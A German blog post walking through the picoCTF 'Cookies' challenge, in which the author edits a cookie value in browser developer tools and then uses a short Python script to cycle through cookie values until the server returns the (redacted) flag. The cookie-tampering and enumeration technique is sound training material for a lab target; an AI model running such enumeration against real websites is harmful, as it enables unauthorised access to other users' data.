Zum Inhalt springen
Startseite » picoCTF Cookies

picoCTF Cookies

picoCTF cookies

Im heutigen Blogpost zeige ich euch, wie ihr die Challenge Cookies auf picoCTF lösen könnt.

Diese Challenge gehört zu den einfachen. Alles war wir brauchen, um die Challenge zu meistern, ist ein Browser. Und weil Hacker faul sind werden wir noch ein kleines Python Script zur Automatisierung benutzen.

Aufklärung

Als erstes öffnen wir den Link aus der Beschreibung im Browser unserer wahl:

cookie form

Ein Web Formular, dass uns nach einer Art von Keksen (Cookies) fragt. Aber was ist mit den Cookies, die die Seite im Cache des Browsers speichert? Öffnen wir mal die Entwickler-Tools (F12) und schauen nach.

developer tools

Es gibt ein Cookie mit dem aussagekräftigen Namen ’name‘ und dem Wert ‚-1‘. Ändern wir doch einfach den Wert auf 1 und lasen die Seite neu.

chocolate chip cookies

Hmm… es sieht so aus, als ob in diesem Wert die Art des Kekses gespeichert wird. Probier doch einfach ein paar andere Werte aus, um diese Vermutung zu bestätigen.

Automation

Sobald wir unsere Annahme bestätigt haben, können wir damit anfangen, die langweilige Eingabe in den Entwicklertools zu automatisieren. Wie oben schon erwähnt, sind Hacker ja faul.

# import the library for web requests
import requests

# define the url
url= "http://mercury.picoctf.net:27177/"

# iterate over the cookie values
for i in range(30):
  cookies = { 'name' : str(i) }
  # send the request with the crafted cookie to the server
  r = requests.get(url, cookies=cookies)
  # check if response contains the string 'flag'
  if 'flag' in r.text.lower():
    # if so, print out the response and stop the script
    print(r.text)
    break

Das Script iteriert die Werte des Cookies von 0 bis 29 und sendet eine Anfrage mit dem Cookie zum Server.
Wenn die Antwort des Servers den String ‚flag‘ enthält, gibt das Skript die Antwort des Servers aus und stoppt die weitere Ausführung.

Speicher das Script der Einfachheit halber unter dem Namen ‚cookies.py‘, damit du es von der Kommandozeile aus starten kannst.

$ python cookies.py 
<!DOCTYPE html>
<html lang="en">

<head>
    <title>Cookies</title>


    <link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.2.0/css/bootstrap.min.css" rel="stylesheet">

    <link href="https://getbootstrap.com/docs/3.3/examples/jumbotron-narrow/jumbotron-narrow.css" rel="stylesheet">

    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>

    <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>

</head>

<body>

    <div class="container">
        <div class="header">
            <nav>
                <ul class="nav nav-pills pull-right">
                    <li role="presentation"><a href="/reset" class="btn btn-link pull-right">Home</a>
                    </li>
                </ul>
            </nav>
            <h3 class="text-muted">Cookies</h3>
        </div>

        <div class="jumbotron">
            <p class="lead"></p>
            <p style="text-align:center; font-size:30px;"><b>Flag</b>: <code>picoCTF{xxxxxxxx}</code></p>
        </div>


        <footer class="footer">
            <p>© PicoCTF</p>
        </footer>

    </div>
</body>

</html>

Ich bin mich sicher, dass du im HTML Code der Antwort vom Server die Flag findest. Bist du aber genau so faul wie ich, benutze einfach das grep Kommando in Kombination mit dem Script und die Suche wird sogar noch einfacher (Denk dran: Hacker sind faul):

python cookies.py | grep picoCTF{.*}

Das war’s schon. Wie ich versprochen habe, war diese Challenge nicht besonders schwierig und man benötigt definitiv kein herausragends Genie um sie zu lösen.

Hinterlasse bitte ein Kommentar, wie dir mein Write-Up zur picoCTF Cookie Challenge gefallen hat.

Schlagwörter:

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert